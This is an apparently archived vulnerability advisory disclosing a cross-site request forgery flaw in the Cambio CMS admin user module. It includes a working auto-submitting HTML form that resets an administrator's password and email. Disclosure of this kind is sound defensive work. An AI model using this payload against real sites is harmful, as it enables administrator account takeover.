Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

Cross-site Request Forgery (CSRF) in Cambio

Advisory ID:HTB22768
Product:Cambio
Vendor:Joram van den Boezem
Vulnerable Versions:0.5a nightly r37 and probably prior
Tested Version:0.5a nightly r37
Advisory Publication:December 28, 2010 [without technical details]
Vendor Notification:December 28, 2010
Public Disclosure:January 11, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Cambio which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Cambio
The vulnerability exists due to insufficient validation of the request origin in modules/user/user.admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USERID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22768 - https://www.htbridge.com/advisory/HTB22768 - Cross-site Request Forgery (CSRF) in Cambio
[2] Cambio - cambiocms.org - Cambio relies on in-page editing of your website, which means you don't have to open a seperate administrator page to edit your pages.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Request Demo